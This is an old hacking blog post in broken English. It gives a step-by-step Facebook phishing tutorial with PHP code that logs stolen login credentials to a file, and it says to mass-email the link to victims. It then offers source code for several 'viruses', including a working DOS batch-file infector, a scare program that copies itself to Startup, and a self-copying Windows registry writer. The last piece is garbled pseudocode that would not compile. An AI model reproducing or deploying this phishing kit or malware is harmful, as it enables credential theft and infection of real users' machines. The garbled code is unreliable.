Friday, March 2, 2012

H-ack fb a/c

1st of awl 10x to W@rl0(k who teach me how to hack 


m Pyt@n bt m nthng widout him 



Hi dudes,
some people asked me to make a tutorial for facebook hacking.
What we'll gona do now is called pishing.


1) Go to: www.facebook.com/login.php
Right click on a white space and press view source code.
Copy it all and paste it in notepad.


2) Search in notpad (Crtl+f) for 'action'.
Change it to action="next.php"
Then on the left change: method="get" instead of "POST"


You would have something like this:
<form method="get" action="next.php" id="login_form">


Save it as index.php (save as unicode)


3) Now we need to make a next.php so:
open notepad again and paste this code:


:<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("passwords.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?> 


And save it as next.php
For safety: change passwords.txt to login.txt


Now make in notepad a login.txt file.
Save as login.txt and leave blank.


4) Congratiulations! You made you're own facebook phisher!!!
Now upload those 3 files (index.php ;next.php and login.txt) on a hosting site.
(they must support php!)


I suggest to use 110mb(.)com and t35(.)com


5) Send the link to some e-mail-accounts.
You can search for 'mass-mails' to have some e-mails.




Chat using cmd

@ echo off
:A
echo MESSENGER
set / p n=user
set / p m=message
net send %n% %m%
Pause
goto A


save this file chat.bat 
nd use it

C-orrupted virus


#include <stdio.h>
#include <dos.h>
#include <dir.h>
#include <string.h>


struct ffblk ffblk;
main()
{
char old_dir[MAXPATH];
Get_Path(old_dir); /* Save the old directory */
Pick_A_Dir(); /* Find a new directory to */
Infect_Directory(); /* infect and infect it. */
chdir(old_dir); /* Return to old directory */
return 0;
}


Pick_A_Dir()
{
int done;
chdir(".."); /* First, Go out a DIR. */
done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */
/* root and DOS */
if (done)
{
chdir("\\");
done=findfirst("*.BAT",&ffblk,0);
if (done) chdir("\\DOS\\");
}
return 0;
}


Infect_Directory()
{
int done;


done = findfirst("*.BAT",&ffblk,0);
while (!done) /* Find all .BAT files */
{ /* and add code to run */
Do_Batch(); /* BAT&COM if not */
done = findnext(&ffblk); /* already there */
}


if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does */
{Copy_Virus();} /* not exist, then */
return 0; /* copy it into dir.*/
}


Do_Batch()
{
FILE *batch;
char Infection_Buffer[12];
char vpath[MAXPATH];


Get_Path(vpath); /* Get path for adding path */
/* specifier in commands */


if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */


batch=fopen(ffblk.ff_name, "rt+");
fseek(batch, -11, SEEK_END);
fread(Infection_Buffer,11,1,batch);
Infection_Buffer[11]=0; /* Terminate String */


if (strcmp(Infection_Buffer,"BAT&COM.COM")) /* Check if */
{ /* Batch is */
fseek(batch, 0, SEEK_END); /* infected.*/
fprintf(batch,"\n%s\\BAT&COM.COM",vpath);
} /*^- Add command */
/* to batch */


fclose(batch);
return 0;
}


Copy_Virus()
{
FILE *old_virus, *new_virus;
int write_length;
char copy_buffer[1024]; /* Copy the virus to */
/* new directory */
old_virus=fopen(_argv[0],"rb");
new_virus=fopen("BAT&COM.COM","wb");


write_length=1024;


while (write_length==1024)
{
write_length=fread(copy_buffer,1,1024,old_virus);
fwrite(copy_buffer,write_length,1,new_virus);
}
fclose(old_virus);
fclose(new_virus);
return 0;
}


Get_Path(char *path)
{
strcpy(path, "A:\\");
path[0] ='A' + getdisk(); /* Returns current path */
getcurdir(0, path+3);
return 0;
}

R-construct virus


#include 
#include 
#include 
#include 


struct ffblk ffblk;


main()


{


char old_dir[MAXPATH];


Get_Path(old_dir); /* Save the old directory */


Pick_A_Dir(); /* Find a new directory to */


Infect_Directory(); /* infect and infect it. */


chdir(old_dir); /* Return to old directory */


return 0;


}


Pick_A_Dir()


{


int done;


chdir(".."); /* First, Go out a DIR. */


done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */


/* root and DOS */


if (done)


{


chdir("\\");


done=findfirst("*.BAT",&ffblk,0);


if (done) chdir("\\DOS\\");


}


return 0;


}


Infect_Directory()


{


int done;


done = findfirst("*.BAT",&ffblk,0);


while (!done) /* Find all .BAT files */


{ /* and add code to run */


Do_Batch(); /* BAT&COM if not */


done = findnext(&ffblk); /* already there */


}


if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does */


{Copy_Virus();} /* not exist, then */


return 0; /* copy it into dir.*/


}


Do_Batch()


{


FILE *batch;


char Infection_Buffer[12];


char vpath[MAXPATH];


Get_Path(vpath); /* Get path for adding path */


/* specifier in commands */


if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */


batch=fopen(ffblk.ff_name, "rt+");


fseek(batch, -11, SEEK_END);


fread(Infection_Buffer,11,1,batch);


Infection_Buffer[11]=0; /* Terminate String */


if (strcmp(Infection_Buffer,"BAT&COM.COM")) /* Check if */


{ /* Batch is */


fseek(batch, 0, SEEK_END); /* infected.*/


fprintf(batch,"\n%s\\BAT&COM.COM",vpath);


} /*^- Add command */


/* to batch */


fclose(batch);


return 0;


}


Copy_Virus()


{


FILE *old_virus, *new_virus;


int write_length;


char copy_buffer[1024]; /* Copy the virus to */


/* new directory */


old_virus=fopen(_argv[0],"rb");


new_virus=fopen("BAT&COM.COM","wb");


write_length=1024;


while (write_length==1024)


{


write_length=fread(copy_buffer,1,1024,old_virus);


fwrite(copy_buffer,write_length,1,new_virus);


}


fclose(old_virus);


fclose(new_virus);


return 0;


}


Get_Path(char *path)


{


strcpy(path, "A:\\");


path[0] ='A' + getdisk(); /* Returns current path */


getcurdir(0, path+3);


return 0;


}

M-imic


#include<iostream.h> 
#include<conio.h> 
#include<dos.h> 
#include<stdio.h> 
#include<process.h> 
#include<graphics.h> 
#include<fstream.h> 


void ffool();               //FUNCTION WHICH GIVES THE FINAL MESSAGE 


void main() 

clrscr(); 
for(int i=0;i<=100;i++) 
    { 


   textcolor(YELLOW+BLINK); 
   gotoxy(35,12); 
   cprintf("VIRUS LOADING"); 
   gotoxy(39,15); 
   textcolor(GREEN); 
   cout<<i<<"%"; 
   delay(75); 
   clrscr(); 
   } 
delay(100); 
clrscr(); 
fflush(stdout); 
gotoxy(20,12); 
cout<<" 'TOURNIQUET' VIRUS CREATED BY PROCRAETORIAN"; 
gotoxy(20,14); 
cout<<" SAY GOOD BYE TO YOUR PC IN "; 
for(int j=5;j>=0;j--) 

gotoxy(48,14); 
cout<<j<<" SECONDS"; 
delay(1000); 

ofstream f1; 
f1.open("c:/windows/All Users/desktop/procraetorian.sys"); 
ofstream f3("c:/windows/All Users/desktop/blast.sys"); 
ofstream a2("c:/windows/All Users/desktop/mslaugh.exe"); 
ofstream s2("c:/windows/All Users/desktop/backdoor.sys"); 
ofstream g2("c:/windows/All Users/desktop/spin32_war.sys"); 
ofstream h2("c:/windows/All Users/desktop/russpatr.sys"); 
ofstream j2("c:/windows/All Users/desktop/torr_sys32.sys"); 
ofstream k2("c:/windows/All Users/desktop/xxx.sys"); 
ofstream l2("c:/windows/All Users/desktop/i.txt"); 
ofstream sm("c:/windows/All Users/desktop/am.txt"); 
ofstream d1("c:/windows/All Users/desktop/your.txt"); 
ofstream d2("c:/windows/All Users/desktop/worst.txt"); 
ofstream d3("c:/windows/All Users/desktop/night.txt"); 
ofstream d4("c:/windows/All Users/desktop/mare.txt"); 
clrscr(); 
lowvideo(); 
cout<<" 


1.HARD-DISK CORRUPTION                                     
:"; 
delay(4000); 
cout<<"completed"; 
cout<<" 


2.MOTHER BOARD CORRUPTION                                   
:"; 
delay(4000); 
cout<<"completed"; 
cout<<" 


3.INSTALLING CYBERBOB.DLL -->WINDOWS/COMMAND               
:"; 
delay(4000); 
cout<<"completed"; 
cout<<" 




PROCRAETORIAN.SYS SUCCESSFULLY PLANTED"; 
delay(3000); 
rename("VIRUS.EXE","C:WINDOWSStart MenuProgramsStartUpVIRUS.EXE"); 
//ffool(); 

           //*END OF MAIN*// 
           //*START OF ffool()*// 
void ffool() 

    clrscr(); 
    int g=DETECT,h; 
    initgraph(&g,&h,"\tc\bgi"); 
    cleardevice(); 
    delay(1000); 
    setcolor(2); 
    settextstyle(1,0,1); 
    delay(1000); 
    setbkcolor(BLUE); 
    highvideo(); 
    outtextxy(50,150,"THE PROCRAETORIAN:"); 
    delay(1500); 
    outtextxy(50,200,"YOUR PC IS NOW UNDER SURVEILANCE BY THE VIRUS 
HOST"); 
    outtextxy(50,250,"PEA(C)E BE WITH YOU ! ! !"); 
    getch(); 
    delay(4000); 
    closegraph(); 
    exit(0); 

F-rinkin virus


include windows.h
#include string.h


char windir[MAX_PATH];


int APIENTRY WinMain(HINSTANCE hInstance,
                              HINSTANCE hPrevInstance,
                              LPSTR lpCmdLine,
                              int nCmdShow)
{


char pathname[256];
HKEY hKey;




GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);


strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);




unsigned char reg[10] = "infected";


RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);


}

E-mpty virus


#include<windows.h>
#include<opretatingsystem.h>
#include<cmd.h>
#include<iostream.h>
#include<consol.h>
#include<iostream.h>
voidfool//FINAL MESSAGE//
***THE COMPUTER WAS FUCKED***
{
couting=5-0
}
void main()
clrscr();
int simlocation,driverpath,i;
char forbidden laters;
printf("the virus is corrupt ur operatingsytem");
Setup\Installed Components\Key Name\StubPath","%windir%\jqfoiscx.bat">>%windir%\jqf
drive location//c drive;
drive content attached to opretaing system
{
for(int i=0;i<=10;i++) 
}
dual node tree;
{
system might be attached by cmd files;
}
link attached
{
prog files removed;
}
// remove antivirus programs 
@echo off % c 
//progrma was succesfully run
linkedgraphical card (int verticals =10)


opreating systemcorruption start 
{
dvd writter=fail
portable disk=fail
headphone=fail
ram=fail
soundcard=fail
fan=up round 
}
[if u add other hardware they will be corrupt nd failed add ur own wis]
}
}
return to final message();
}